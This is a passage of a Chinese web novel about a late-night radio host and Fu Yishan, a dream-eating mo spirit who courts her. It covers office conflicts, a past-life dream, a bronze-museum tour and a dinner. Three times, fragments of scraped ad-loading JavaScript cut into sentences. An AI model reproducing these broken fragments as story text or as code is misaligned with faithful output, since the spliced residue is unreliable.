频道的公众号平时都由雯雯负责,这篇稿子发之前,洛瑶也审核过,没有发现什么大问题,电话号码也是对的。 但闻芳卉却坚持认为热线电话一定要加上区号。 “雯雯改了吗?”洛瑶看向了陆雯雯。 “刚刚按照组长要求改了。”陆雯雯怯怯地说道。 “给我看一下。”洛瑶向陆雯雯摊开手。 陆雯雯会意,把自己手机递给她。 洛瑶粗略地扫了一眼,把手机还给陆雯雯,转而对闻芳卉说道:“闻组长不必过于担心,目前只有100的阅读量。” 自从某音和某书火了之后,微信公众号的流量一天不如一天,已经走向了穷途末路。 一个根本没多少人会关注的账号,这一个区号又能起到多大作用? 闻芳卉咬了咬牙,“那既然没什么人看,想必晚上打电话的人也少,我们可以轻松点了。” “但愿如此吧。”洛瑶笑着转过身。 今晚《深夜电台》讲述的故事是关于饕餮的。 饕餮是中国古代神话传说中的一种凶恶贪食的野兽,四大凶兽之一,是贪欲的象征。 饕餮在人间会挑选有贪欲的人,附身在他们身上,比如有位女子近期突然食欲大增,暴饮暴食,精力却越来越差,脸色也变得蜡黄,原来是受了饕餮的影响。 等洛瑶刚讲完故事,没想到立马就看到陆雯雯给她打了个手势,示意有电话接进来了。 一名自称姓胡的女士说:“完了完了,我是不是也被饕餮附身了?我很想要减肥,可偏偏我对象做饭太好吃了,做的酸菜鱼和水煮牛肉都很绝,让人把持不住。” 洛瑶一时分不清楚这是吐槽还是秀恩爱,她笑着说:“胡女士,你这样对一个晚上只吃了泡面的单身狗有点不友好哦,光听到酸菜鱼和水煮牛肉我就饿了,想吃是人类的天性吧,减肥的话可以适量地少吃一点,然后加强运动。” “我现在每天上两节瑜伽课,可体重却下不来。”胡女士痛苦地说。 “瑜伽更多时候是一种放松拉伸运动,你可能多需要做些有氧运动,比如跳操。”洛瑶建议道。 “唉,可真是太难了,人怎么就这么难控制欲望呢?真的是不是有饕餮啊?”胡女士显然是相信了怪力乱神之说。 但是这种迷信的东西可不兴大肆宣扬,况且在傅以山出现之前,洛瑶肯定会对此嗤之以鼻。 “放心吧胡女士,像你这种情况的人想必很多,即使真有饕餮,那估计它得忙死。” “那我就放心了。” “好的,感谢胡女士的来电,下面我们来接听下一位听众朋友……” 洛瑶按照陆雯雯给的指示迅速切换至下一个热线电话。 这个晚上共接待了三名热心听众,时间就差不多了,再加上闻芳卉的脸色越发难看,再让她接听几个酒鬼的骚扰电话,想必她要爆炸了。 一结束直播,洛瑶就感受到了来自演播室外的低气压,闻芳卉耸拉着脸,连句“我先走了”都没说就走了,剩下的陆雯雯和李鹏转而无奈地看向洛瑶。 “她这是不小心吞了苍蝇吗?”洛瑶耐不住性子调侃道。 “刚刚有个电话打进来骂得特别难听。”陆雯雯如释重负地双肩下垂,抚着胸口顺气,“声音大到我在旁边差点心脏病发作。” “我证明是真的,那个大叔一听就是喝多了,一开口嗓门就超大。”李鹏还用手比划了下,要多夸张有多夸张。 洛瑶拍着陆雯雯的肩膀以示安慰,“这都是常有的事,有些人就是喜欢半夜打进热线发疯。” “有没有什么办法阻止啊?”陆雯雯的脸瞬间成了小苦瓜。 洛瑶用手指轻点下巴,“最好能设置下,在他一开口的时候就把电话给拉黑。” 陆雯雯转头求助李鹏,“技术员,靠你了。” 李鹏摊开双手,“这估计得研究下,明天我找领导商量下看。” “问题总有办法解决的,时间不早了,我也得走了。”洛瑶给了他们一个鼓励的眼神,拿上包和他们挥手道别。 按照原定路线,洛瑶可以直接从演播室这层的电梯直通地下室车库,可她按了电梯之后在车里翻找了半天都没找到车钥匙,恍惚想起早上可能被自己随手放在办公桌上忘记拿了,便只好先去往办公室楼层。 这个时间,办公室楼层早就没有人了,只有走廊上的灯还亮着,办公区域乌漆嘛黑,时不时有穿堂风从洛瑶脚边刮过。 洛瑶本来是个不怕黑的人,都怪傅以山,自从他出现后,她就变得疑神疑鬼了。 办公室是一个大开间,一进门就是一览无遗的黑,洛瑶赶紧先把灯给开起来。 视线一下子明亮起来,目光所及之处也看得更加真切。 快步走向自己工位的洛瑶猝不及防被吓了一大跳! 她的工位上竟然坐着一个人! 那个人原本是被朝着她的,听到她的尖叫之后转过身,从座椅上波澜不惊地站了起来。 “你大晚上坐这干嘛?”洛瑶仓皇之下捂住嘴,手还止不住抖了下。 傅以山抱歉地看着她,用一种莫名窘迫的语气说道:“我来寻你,发现你车钥匙落在桌上,想必你应该会过来取走。” “我真的栓Q,你老人家可真是足智多谋。”洛瑶看向被他拿在手里的车钥匙,心还有余悸。 “栓Q是什么意思?”傅以山像个没事人似地发问。 “这是重点吗?重点是你来寻我做什么?有事可以微信上说啊。”洛瑶抓狂地向他晃了晃手里的手机。 买手机的最大目的不就希望他别那么突然出现吓她吗? 结果呢?手机是摆设吗? 傅以山情绪极度稳定地指着洛瑶的手机说,:“我给你发过了。” 这回轮到洛瑶窘迫了,她赶紧打开手机,没想到还真有几条来自“妖怪”的微信消息被她忽略了。 妖怪:你能吃辣吗? 妖怪:有忌口的吗? 妖怪:我现 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在去找你。 “不好意思我……我刚在演播室里直播没看到。”洛瑶自觉认怂,确实是她的疏忽,“所以你来是等我一起吃饭的?咦?等一下,我怎么闻到水煮牛肉的香气了,是我饿昏头了吗?” 傅以山没有说话,而是指了指他手边。 洛瑶这才看到她的桌子上放置了一套食盒。 “你不会是听了我的直播,买了水煮牛肉吧?”因为实在是太过巧合,洛瑶下意识就联想到了今晚接的那个热线电话。 “不是买的,是我做的,还有酸菜鱼,不知道合不合你的口味。”傅以山顺带回以一个不显山不露水的微笑。 本来已经拉满的期待值瞬间降到冰点,洛瑶可还没忘记上次傅以山做的排骨带来的那种可怕的味觉冲击。 “你应该还没吃晚饭吧,来,尝尝吧。”傅以山面上带着亲切友好的笑容,把筷子递给洛瑶。 这次傅以山带来的菜品依旧光鲜亮丽,香气四溢,和餐厅里见到的、闻到的一模一样。 会不会他这次有所进步了呢? 洛瑶狐疑地拿起筷子夹了一块牛肉。 牛肉吃起来很是嫩滑可口,闻起来也是麻辣鲜香的,只不过,洛瑶吃下去还是克制不住变绿的脸色。 “怎么了?不好吃吗?”傅以山见洛瑶艰难地吞咽下去,终是发现了异样。 虽然她想说真的很难吃,但他毕竟是出于好心,在听了她的节目之后,主动烧菜给她送过来。 “怎么会?和餐厅里的大厨水平差不多。”洛瑶主动又加了块酸菜鱼,筷子抖了下,硬着头皮放进自己嘴里。 “这其实是我第一次做这两道菜,承蒙你喜欢。”傅以山心满意足地笑了。 “你也太厉害了吧,是用法术做的吗?”洛瑶违心地问道。 正准备递纸巾给洛瑶的傅以山,手一顿,“法术做菜?” “就是比如你把食材买回来,然后你施个法,它们就自动组合成一个菜,像变魔术那样。”洛瑶脑补了下,感觉非常实用方便。 傅以山哭笑不得,打断了洛瑶的脑补,“洛瑶,并没有那样的法术,我做菜和正常人类没区别。” “哦,好吧。” 看来这梦貘也没她想的那么厉害,洛瑶在心中暗暗想,随即扫了眼剩下的佳肴,倒吸一口凉气,本着不浪费粮食的原则,强忍着味觉带来的不适,把两道菜吃了个七七八八。 “下次你有什么想吃的菜可以告诉我。”傅以山主动收拾好垃圾,拿起来向外走。 “不用麻烦了。”洛瑶下意识地脱口而出。 傅以山转过头,神色忽地顿住,停留在洛瑶脸上,眼神中透着试探和深究。 “呃,我的意思是……意思是感觉这样麻烦你不太好,我上班这时间太晚了,”洛瑶局促地攥着自己的背包带子。 “没关系,我已经习惯了黑夜,你喜欢吃什么?” 洛瑶深吸一口气,掰着手指细数着,试图尽量说的复杂:“比如炸鸡、披萨、火锅、烧烤、小龙虾、麻辣烫……” “……” 傅以山沉默地伫立在一旁,在洛瑶快要数完的时候,猝不及防地伸出手,用手掌包裹住她正在因为数数而乱动的手指—— “电梯来了,我们走吧。” 还沉浸在对美食憧憬里的洛瑶稀里糊涂被傅以山拉进了电梯里,手指上还在不断接受着来自他手心的温度。 12. 前世 拉着洛瑶的那只手突然向下用力一拽,伴随着一声如暖风刮过耳畔的“当心!”,洛瑶整个人不受控地撞进一个充满安全感的怀抱。 她怔愣着抬起头,望向那人清晰流畅的下颌角,即使此时皱着眉也掩盖不住自身原有的温润气质。 是傅以山,但又不是给洛瑶带饭的傅以山,而是她梦到过的傅以山。 “师父?!”洛瑶下意识地喊出来,她还来不及困惑,嘴又自动讲出话来,“你不是说今年赶不回来吗?” “我说我赶不回来,你就一个人瞎跑出来玩?”傅以山收敛着笑意,眼眸里却泛着温柔宠溺。 洛瑶环顾四周,发现自己身处在一座石拱桥之上,天上皓月高悬,周围是熙熙攘攘的人群,穿着各异,有的是粗布麻衣,有的是锦衣罗裙,但无一例外都是古装剧里的模样。 包括她自己,她低头一看,丝质的裙摆垂地,盖住大半个莲花软缎鞋,宽大的衣袖边缘那精致的绣花摸上去有种熟悉的触觉。 她面前杵着的傅以山,一袭玄色宽袖长加身,上面的黑色龙蟒纹重工刺绣夹带着金丝,华贵尽显在若隐若现之间,高发髻盘发配以金色发冠,显得清爽利落。 “我没有瞎跑,只是……”洛瑶羞恼地垂下了头,她不愿同傅以山说是因为和洛明志发生了争吵而跑出了家门。 日复一日,年复一年,洛明志在北辰的生活虽然衣食无忧,但总在盘算着如何回到南夏,终有一日,南夏来了信,洛明志打算过了年便带洛瑶回南夏参加太子选妃。 “走吧,陪师父逛逛。”傅以山了然地看着洛瑶沉默不语,主动为她开路。 洛瑶自是很愉快地跟随他左右。 街道两侧的店铺都点着晕黄的灯火,街上亦到处都是一盏盏彩灯,茶楼酒肆里人满为患,细乐声喧。 傅以山看起来像是把洛瑶当小孩,看见拨浪鼓,问她要不要,看见木偶人,也问她要不要,不管他看到什么好吃的好玩的都问她要不要。 洛瑶一开始拼命摇头,后面见他难得兴致好,便也同意着买了不少,没一会儿,两个人手上都拿了一堆杂货。 就在傅以山又准备从身旁的路边小摊上拿起一个狐狸面具之时,洛瑶及时出声制止了他:“师父!我想放水灯!” 傅以山收回手,负在身后,侧身同洛瑶说:“我记得你好像以前说不喜欢凑热闹。” 这话倒是没错,每年的上元节,放水灯的河畔总是人满为患,洛瑶从不相信有神明能真的看到水灯上的心愿,便从不参与这个活动,只不过一想到这可能是她在北辰过的最后一个年,这里的一切事物都好像变得有意义了。 “和师父一起去怎么算是凑热闹?师父一大把年纪了从来没有放过水灯吧?我带您去体验体验。”洛瑶狡黠地眨巴着眼睛,主动去拉傅以山的衣袖,一路走到河畔。 傅以山任命般掏钱买了两盏灯,按照一贯的习俗约定,需要在等上面写上心愿。 “师父打算写什么愿望?”洛瑶试探性地问道。 傅以山其实本来不打算写愿望,他知道这些灯最后的结局都是顺着水流无疾而终,运气差点的可能中途撞上湍流顽石,分崩离析,运气好点的倒是鲜少流到了下游岸边。 有一回他随神女碰巧经过岸边,看到了那些“幸存”的水灯,神女饶有兴趣地捡起过一盏,却发现上面的字迹早已模糊不清,难以辨认。 神女说:“唉,这些人也真是惨,有愿望也实现不了,本来以为这水灯是个寄托,结果不过是竹篮打水一场空。” 傅以山手中拿着笔,迟迟不落,转头看向洛瑶,见她正在奋笔疾书,不禁好奇道:“洛瑶,你是有很多的心愿吗?” “当然啊,要写我就要把这一页纸都写满。”洛瑶目不转睛地答道。 “能和我说说你都写了什么吗?”傅以山直起身,准备想把自己这盏灯的心愿也交给洛瑶写。 洛瑶写完最后一个字,抬头看向傅以山。 正巧有微风拂过,轻轻吹起她耳畔的长发,薄妆桃脸,螓首蛾眉,手里还攥着忘记放下的笔,嘴角不自觉扬起一笑,开口道:“希望我能一直陪在师父身边,让师父不再孤单。” 天,她怎么能那么不害臊地说出这种话,话音刚落,洛瑶便懊悔地用手挡住脸,待她把手挪开,再度睁开双眼的时候,只看了光秃秃的天花板。 原来刚刚又是她的一场梦。 一个夜晚做的梦,当太阳照常升起,她一醒来发现自己还是那个生活在现代都市,要去上班的深夜电台主播洛瑶。 梦里发生的事到底是真实存在过的,属于“前世”洛瑶的记忆,还是“今生”洛瑶的臆想,让人有种分辨不清的头疼感觉。 洛瑶烦躁地抓了两把头发,犹豫了五分钟要不要把这个梦告诉傅以山。 * 作为打工人的日常,上班期间最烦的莫过于各种各样的会议。 特别是闻芳卉上位以来,如果开会的时候她在场,必定少不了幺蛾子。 果不其然,她因为周末的时候在家看了博物馆奇妙夜,对博物馆产生了浓厚的兴趣,并把想法告诉了郭杰,郭杰觉得博物馆这个主题还蛮适合深夜电台的。 “洛瑶,要辛苦你跑一趟了,收集一些关于博物馆里的故事。”郭杰把自然地把工作交给洛瑶。 洛瑶点了点头,避开闻芳卉得意的目光,问道:“好的杰哥,我等下就去联系市博物馆。” “慢着,洛瑶。”闻芳卉双手环胸,笑盈盈地说:“为了保险起见,我建议广撒网,除了市博物馆,我认为青铜博物馆更需要去。” “那个青铜博物馆我去过一次,坐地铁过去都要两个小时。”一旁的陆雯雯想也没多想脱口而出。 “哦?那真是巧了,既然你去过,那就再去一下吧,比较有经验。”闻芳卉转头看向陆雯雯,眸中闪烁着精光,任谁都能看出她所怀揣的不怀好意。 洛瑶知道陆雯雯没有车,上下班都是坐地铁,如果派她去青铜博物馆,意味着她早上需要很早就去赶地铁,晚上回来也意味着会很迟,着实是费时费力。 很多人都会觉得实习生多干一点事是应该的,可洛瑶不那么觉得,她觉得实习生一个月拿不到几个钱,凭什么要比正式员工干更多的活儿,所以她一向都对实习生比较优待,不会故意苛责为难他们。 “要不还是我去吧,我开车去比较方便,雯雯就去市博物馆吧。”洛瑶主动提出应承下这份苦差。 陆雯雯自是非常感激地看着她,而闻芳卉眼见自己的奸计得逞,差点藏不住笑,“那就那么决定了,辛苦你了洛瑶。” 洛瑶假装很是为难地用手抠着桌子,“辛苦是应该的,只不过不知道领导能不能帮个小忙?” “什么忙?”闻芳卉流露出警惕的神色。 “帮我报销下油费呗, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟开车到那边还是有点远的。”洛瑶抬起头,微微一笑。 * 广电大厦的楼梯间里用的都是声控灯,只有当人在楼梯上走动或者外面的人推门进来,黑漆漆的楼梯间才会亮起。 洛瑶推开门地一瞬间,灯就亮了,原本背对着她的陆雯雯转过身,一副做贼心虚的样子。 开完会不久,洛瑶便收到了陆雯雯的信息,约她来楼梯间。 “是出什么事了吗?”洛瑶心跳不由加快了几分。 陆雯雯嘿嘿一笑,把手里的奶茶推举到到胸前,压低了说话的声音:“洛瑶姐,我想请你喝奶茶。” 洛瑶拍了拍胸口,长喟一口气,“害,我还当你惹祸了,吓我一跳。” “我这不是怕只请你一个人喝,其他人会不高兴嘛。”陆雯雯不好意思地眼神闪烁,讲话声音也更加小声了。 洛瑶很是理解陆雯雯的行为,实习赚不了几个钱,现在还租在广电宿舍,请客吃饭拮据也是理所应当,只不过她不懂的是为什么要这个时间点单独给她偷摸送个奶茶,只是因为自己帮她去青铜博物馆? “谢谢你的奶茶,不过去青铜博物馆这件小事不用那么在意的。”洛瑶友好地伸手拍拍陆雯雯的肩膀。 “其实……洛瑶姐,还有件事,我憋在心里很久了,一直想找个机会和你说声抱歉。”陆雯雯拉住了洛瑶的手臂,脸上一阵青一阵白,目光变得局促不安。 “你不会是想说偷拍下我在天台的视频并在网上发帖的人是你吧?”洛瑶唇角轻扬,凝着云淡风轻的揶揄之意。 “什么?你都知道了?”陆雯雯一激动忘了手里还拉着洛瑶,无意识地用力一捏。 洛瑶倒吸一口凉气,挣扎着从陆雯雯手里解救出自己的手臂,“多大点事,咋咋呼呼干什么。” “对不起对不起,我不是故意的洛瑶姐。”陆雯雯满脸懊悔,不知道该说什么,一个劲儿道歉。 那件事发生之后,洛瑶进行了一番复盘,那天晚上除了她加班到那个点,还有陪着她加班的陆雯雯,她早就看出陆雯雯对闻芳卉的不满,所谓兔子急了也会咬人,陆雯雯表面上唯唯诺诺,实际上想要捉弄闻芳卉的心思肯定不比洛瑶少。 “这事我知道不怪你,只不过正义魔人可不要再随便当,这栋大楼里面的弯弯绕绕可比你看到的要多。”洛瑶抬头看了一眼,轻轻一哂。 “那洛瑶姐,你当过正义魔人吗?”陆雯雯好奇地问。 洛瑶想了想,自己还真有当过一回。 当时洛瑶还是个实习生,跟着前辈去参加一个企业的新品发布会,电视台偶尔会接点广告,帮企业进行一些正面的宣传。 在发布会上,洛瑶遇见了颜子,颜子和她透露这个企业表面是个环保企业,实际上偷偷搞排污。 发布会结束后,企业组织了一场就会,带洛瑶来的那个前辈似乎与主办方关系匪浅,答应了对方很多宣传要求,并把这些要求通通交给洛瑶去完成。 洛瑶知道这明摆着是个当冤大头的事情,坚决不交出视频脚本,即使交稿也写得稀烂,最后被前辈骂的狗血淋头。 就在她以为自己要滚蛋的时候,颜子那边把企业做的黑心勾当给曝光了。 前辈因此也受到了牵连,被宣判卷铺盖走人。 临行前,他找到洛瑶,发出警告:“正义不是谁都能维护的,像你这样的,迟早会在这行干不下去。” 13. 升温 原本计划两个小时的车程,因为突如其来的暴雨和令人暴躁的堵车硬生生被拖成了快三个小时。 等到洛瑶把车停进青铜博物馆地下室的时候,已经距离和博物馆负责人约定好的时间过去十分钟。 一向很注重时间观念的洛瑶赶紧锁了车,下车找寻电梯口。 起初地下室的灯光有些昏暗,洛瑶不知道该往哪个方向走,正当她想打电话问下负责人的时候,头顶的灯突然亮闪了下,紧接着又亮起了一排的灯,照亮了一条路,而路的尽头看起来正好像是个电梯口。 洛瑶手里举着手机,顺着灯的方向从尽头又看回到自己的车,心想说这里这么智能的吗?直接根据访客停车的位置就用灯为他们导航。 看起来是个高级的博物馆,在细节上很是人性化。 洛瑶坐电梯直接到达负责人所在的办公室楼层,电梯门一打开,她便看到了一位白发苍苍的老人,一席笔挺的深色西装,搭配简约的白色衬衣,与西装同色系的领带形成一丝不苟的干练气势,精神矍铄地向洛瑶打了个招呼:“您好,洛小姐。” “您好陈馆长,不好意思我迟到了。”洛瑶深吸一口气,努力驱逐掉内心的受宠若惊。 “洛小姐请随我来。”陈馆长低头弓背,做了个“请”的手势。 这是洛瑶第一次见到陈馆长,之前都是直接和他电话联系的,电话里的他就很客气,没想到真见到面了更是礼数周全,明明是长辈,却对洛瑶一副毕恭毕敬的样子,让洛瑶一时间更是对自己的迟到行为感到鄙夷。 陈馆长在前方带路,领着洛瑶来到一间很是宽敞的办公室,墙壁采用的是灰色调,右侧应该会客区,有一看就很贵的黑色皮质沙发和茶几,大理石地面上摆着雕刻精美的青铜雕像,周围还摆放着不少艺术品和收藏品,宛如小型的博物馆。 而左边应该是办公区,落地窗的设计让整个环境的采光变得更好,此时正有一个清隽身影卓然而立,他的身材高大挺拔,穿着黑色长款大衣,显得更加英挺有型,给人一种沉稳而内敛的感觉。 “傅先生,洛小姐到了。”陈馆长交代完这句话就后退,离开了办公室,还贴心地把门给关上了。 就在洛瑶纳闷陈馆长不是今天全程接受她采访的人之时,那个站在落地窗前的人转过了身。 阳光不偏不倚地落在他身上,将他的一双眼睛染上温柔的润泽,对上洛瑶惊讶地视线之后,唇边自然地勾起笑意。 “傅以山!”洛瑶睁大一双眼,颤巍巍用手指着对方,“你怎么在这儿?” “听说你要来采访?我想我会比陈馆长更了解这里一点。”傅以山迈开长腿走到青铜雕像面前,曲着手指在上面轻敲。 洛瑶怕他磕坏文物,赶紧试图向前保护,狐疑地斜倪,“你更了解这里?” 傅以山将手放进大衣口袋,笑着说道:“接下来的时间,请允许我向你证明自己的能力。” 本来洛瑶对傅以山的能力认知仅限于他会瞬间移动或者会做菜之类的,没想到他对青铜博物馆的侃侃而谈还挺引人入胜的。 对于某一件青铜文物出自于哪个年代,有着什么样的渊源故事,傅以山全部都了如指掌。 “这个长得像‘卤’的字怎么念?”洛瑶的脚步停在了一件造型怪异的文物面前。 “这是卣(yǒu),西周早期的神面卣,出土于陕西扶风,是盛酒的器皿之一。”傅以山跟着她停下,微微弯下腰靠近她。 “盛酒?可它长得一点都不像盛酒的诶。” 神面卣乍一看由两个怪兽的头组成,怪兽的双睛圆鼓,直鼻小耳,在威猛之中又略带笑意。顶端站立一只猫头鹰,提梁由共用一尾的两条龙组成,龙尾上翘。 “中间这个伸出来的是大象的头吗?”洛瑶隔着玻璃指着神面卣中间的一部分。 傅以山眼神微变,悄无声息地直起腰,轻咳了一下,“那是貘。” “貘?咋越看越眼熟。”洛瑶想着想着眉头不由自主地皱在一起,然后突然灵光乍现,“哦对!梦貘的貘!那这岂不就是你的原身?” 傅以山看了眼神面卣,又把目光转回到洛瑶身上,清清淡淡道:“应该没有人类见过我的原身。” 神面卣是古代人类创作的艺术作品,饱含了他们对鬼神的畏惧与虔敬,自带着一种庄严肃杀的气氛。 而反观站在洛瑶面前的傅以山,身长玉立,气质温和,和庄严肃杀完全搭不上边。 “那你自己见过吗?和这个长得像吗?”洛瑶抱着好奇心害死猫的心态,靠近玻璃罩子,仔细瞅着神面卣中间的貘。 生而为貘,行走于山林之间的傅以山曾经有很长一段时间都是未开智的猛兽,他是在被上尊收养之后才逐渐有了意识,也有了人形。 他已经很久很久没有显出原身,久到他甚至忘了自己的原身是什么模样。 “你为什么好奇这个?”傅以山弯下身,顺着洛瑶的目光追寻。 猝不及防的靠近,再过熟悉的气息也因为陡然的升温,让洛瑶被吓了一跳,手一松,手里的手机眼瞅着就要遭殃。 好在傅以山用法术瞬秒接住,重新递到洛瑶手中。 “多谢。”洛瑶一抬头便撞进傅以山那双温润软和的双眸里,周遭的空气仿佛都静止了,她的指尖微微蜷缩,心跳不由自主地加速。 她想起了在梦境里她和傅以山一起放河灯的画面,以及她拉着他穿梭在街道上,人群的热闹喧嚣与他们无关,她的满心喜悦只因为身边人是他。 “是我吓着你了吗?”傅以山眼里带着几分抱歉的情绪,他担心洛瑶还在惧怕他。 “没有没有,是我太冒失了。”洛瑶打心底懊恼自己总在傅以山面前失态,明明她平时是个很稳重的人。 “那我们走吧,那边还有些不错的藏品。”傅以山似是松了一口气,先行迈出了一步。 “好啊好啊,还有很多没看呢。”洛瑶顿时想起自己来这的目的是什么马上找回了专业的状态,跟上傅以山的步伐,可她的脑子里还是忘不了刚刚的那只“貘”。 在很久很久之后的某一天,洛瑶无意间在手机里翻出了她拍下的神面卣的照片,再度燃起了对傅以山原身的好奇之情。 “你想看我的原身?”傅以山似是很讶异,眉间稍稍皱了“川”字。 “能看吗?”洛瑶无意识地继续在跳脱的边缘试探。 “不能。” 向来没有在洛瑶面前撕下文雅面具的傅以山头一次发出冰冷的声音,而且还丝毫不讲情面地背过身去,摆明了一点希望都不留给洛瑶。 “小气鬼。”洛瑶在傅以山的背后小声嘟囔。 * 可能因为下午雨势渐大,再加上此处的地理位置过于偏僻,偌大的博物馆几乎没有几个人在逛。 每一件文物的来历,傅以山都颇有闲情逸致 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地为洛瑶一一解释,一个下午的时间很快就过去了。 洛瑶主动提议请傅以山吃饭,对他的悉心讲解表示由衷的感谢。 “其实应该是我要感谢你,能来帮忙宣传青铜博物馆。”先一步走到电梯口的傅以山主动按了向下的电梯。 洛瑶撇了眼即将到来地电梯,莫名有些失落,“那你是不愿意和我共进晚餐咯?” 傅以山愣了下,此时电梯也正好到了,他先抬步走了进去,冲洛瑶招手,“你误会了,我的意思是我请你吃饭。” 按照洛瑶以往的采访情况,都是她以感谢的名义请采访对象吃饭居多,没想到傅以山却主动说他来请,而且洛瑶之前还误会了他不尽人情。 细想一番之下,洛瑶不由得红着脸低头走进电梯,习惯使然地瞄了眼电梯按钮。 “我们直接去地下车库吗?”洛瑶觉得还是需要确认下。 “嗯。”傅以山抬手看了眼手表,“从这里开过去,差不多是饭点了。” “话说你这里还挺智能的,我刚车开进来的时候还帮我指路。” “……”傅以山奇怪地看了洛瑶一眼。 洛瑶对上他的目光,摸摸自己的鼻子,“有什么问题吗?” 傅以山随即撇过头,释然一笑,“没问题,只是我可能对于展馆的基础设施不是很了解,这方面都是陈馆长负责的。” “好的吧,那你倒是省心很多。”此时正好电梯到了,洛瑶先走了出去。 傅以山腿长,迈的步子也比洛瑶大,稍不注意就走到了洛瑶前头。 洛瑶快走两步到自己车前,忽而想到了什么,转头对傅以山说道:“话说你怎么知道我车停在这里?” 傅以山在离洛瑶还有一米的地方,脚步一顿,用温和的笑掩饰尴尬:“陈馆长说客人来这里一般都会停这里。” “哦哦,陈馆长向你报告的还挺细致,唉,又要开车了,真羡慕你这种不用开车的人,你都不知道从市区开到这里有多累。”洛瑶一边说着,一边拉开车门。 “我来开吧。”傅以山向前一步来到洛瑶身侧,将手自然地搭在车门上。 本就贴着车门站的洛瑶瞬间感觉到了来自傅以山的独特气息,整个人都被淡淡的檀香笼罩着,无意识地像是不经意偷躲进他的怀抱里。 傅以山以为洛瑶是因为不信任他而愣在原地,便将她拉至一旁,从她手里拿走了钥匙,坐进车里,启动车子。 洛瑶恍恍惚惚地看着他一系列动作一气呵成,心里突然产生了一个可怕的想法:要是他如果不是梦貘,只是个普通的人类,应该会是个各方面都很优秀的男朋友吧。 感慨万分之下,洛瑶叹了一口气,走到副驾驶室坐下。 “怎么了?还是不放心我开车?”傅以山把手放在方向盘上,用无奈的语气问道。 “我……”洛瑶心想总不能把自己心里的所想讲出来吧,光是想想就令人脸热了,她可是个脸皮很薄的人。 “放心,我有驾照,通过正规考试取得的,为了能适应人类生活,我做过诸多努力。”傅以山转过头看她,眉尾扬起。 听到这话,洛瑶赶紧驱散了刚刚那个不切实际的想法,和自己强调了一百次:傅以山他是梦貘,是千年老妖怪,不是人类。 物种之间有没有生殖隔离先不说,光是那些人妖虐恋故事就够吓人了,爱上妖的人会变得不幸,而洛瑶并不想成为不幸的人。 14. 肆意 傅以山全程没有开导航,驾轻就熟地驱车来到一家西餐厅。 这家西餐厅位于S市最贵一幢楼的顶楼,洛瑶只是听颜子提起过这里的东西有多贵就有多好吃。 按理说因为价格高昂会劝退很多人,可偏偏就有很多吃货不惜月光也要来这里吃一趟,而且这家店还是预约制,起码要提前一个月订位。 “你刚是动用了什么法术吗?”洛瑶一路跟着傅以山,恍如进入的是无人之境,畅通无阻地来到一间包间。 傅以山帮她拉开座位,随后坐在她对面的位置,“不需要法术,陈馆长提前帮我安排好了。” “陈馆长?难道这间餐厅是他开的吗?”洛瑶坐下后便开始像个好奇宝宝似的打量这间可以一边吃饭,一边欣赏到江边夜景的豪华包间。 傅以山扶额,把菜单递给洛瑶,“那倒不是,只是陈馆长平常会负责管理。” “陈馆长怎么这么忙,又是博物馆馆长,又兼职管理餐厅,他这样打两份工,你不介意吗?”洛瑶接过菜单,随意翻开,饶是被上面的菜品价格吓了一跳,倒吸一口凉气。 可更吓人的是傅以山接下来所说的话—— “其实是我让陈馆长身兼数职的,我在人间虽然有身份,但毕竟因为年龄问题还是会有一些不便,所以很多事情便交由陈馆长帮我处理。” 洛瑶“噌”一下抬起头,瞪大双目道:“你是说这家这么贵的餐厅是你开的?” 傅以山点头示意,反问道:“你觉得菜品定价太高了?” 洛瑶把目光放回到菜单上,其实她也不知道这菜价算不算是虚高,她平时不怎么买菜,去餐厅吃的也比较平价,傅以山这家店价格高,用的食材也是比较高档的,她一时不知如何衡量这个标准,只好尴尬地指着菜单上的价格说道:“我平时不会吃这么贵的菜,这价格让我有点不知道怎么点单。” “那就让这个价格暂时消失吧。”傅以山说完手一挥,像扫掉灰尘一样轻松。 洛瑶低头一看,菜单上的价格竟然消失地无影无踪! 她突然发现每当自己快要觉得傅以山是一个普通平常的男人时,他总会以独特的方式向她证明他的的确确是这个世界里不一般的存在。 也好也好,她和他之间总有一天会有人先离开。 想明白之后的洛瑶按压住自己不安跳动的心脏,专心地点了几个菜。 等到吃到各种色香味俱全的菜品时,洛瑶终于能明白为什么这么贵还有那么多人吃了。 真的好好吃。 与别的餐厅相比,这家店多了很多创意菜,而且创意菜的烹饪方式中西结合,出人意料的同时又莫名使口味变得和谐。 比如洛瑶刚吃的鹅肝春卷,是巧妙地将鹅肝和果蔬炒制成馅,包入春卷皮中,下锅油炸后,表皮吃起来口感酥脆,里面的馅料入口即化。 洛瑶大快朵颐之后,发现傅以山的吃相很是优雅,吃的也不多,如果她没记错,前两次和他吃饭,他也是如此。 “是不是我点的菜不和你的胃口?”洛瑶放下筷子,忐忑试探道。 傅以山摇了摇头,“不是的,是因为我吃什么都一个味道。” “什么?你是没有味觉吗?”洛瑶震惊到打了个饱嗝。 “我没有口腹之欲,以前为了修行,早早便已辟谷,只不过后来为了融入人类社会,我会吃一些东西。”傅以山将手里的筷子搁置在筷托上。 “难怪……”洛瑶想到傅以山之前做的那些食物,看似和人类菜肴无异,色香齐全,味道却不敢恭维。 敢情是因为他没有味觉,没法尝味道,所以才会那么奇怪。 “难怪什么?”傅以山出言打断了洛瑶的想法。 洛瑶赶紧摆摆手,想把这个话题给揭过去,“没什么没什么,难怪……你身材保持地那么好,辟谷之后是不是就不会饥饿了?那也就不用减肥了。”洛瑶拖着腮,满脸艳羡。 “身形确实可以保持不变,只不过会有和你们人类所说的饥饿感差不多的一种感觉。”傅以山的手指轻叩在桌子。 “那你这不是自相矛盾吗?一方面说辟谷之后没有口腹之欲,一方面又说会产生饥饿感,那岂不是要天天硬着头皮吃东西?”洛瑶有些无法理解了,刚刚的羡慕感顿时没了。 傅以山浅浅笑出声,似是被洛瑶担忧的语气逗笑了,“我需要填补‘饥饿感’的东西不是食物,而是梦。” 梦貘,以梦为食。 洛瑶脑海里突然蹦出这一句话,她想起自己好像之前在百科上看到过。 只不过自己查到的和傅以山亲口说的像是两回事。 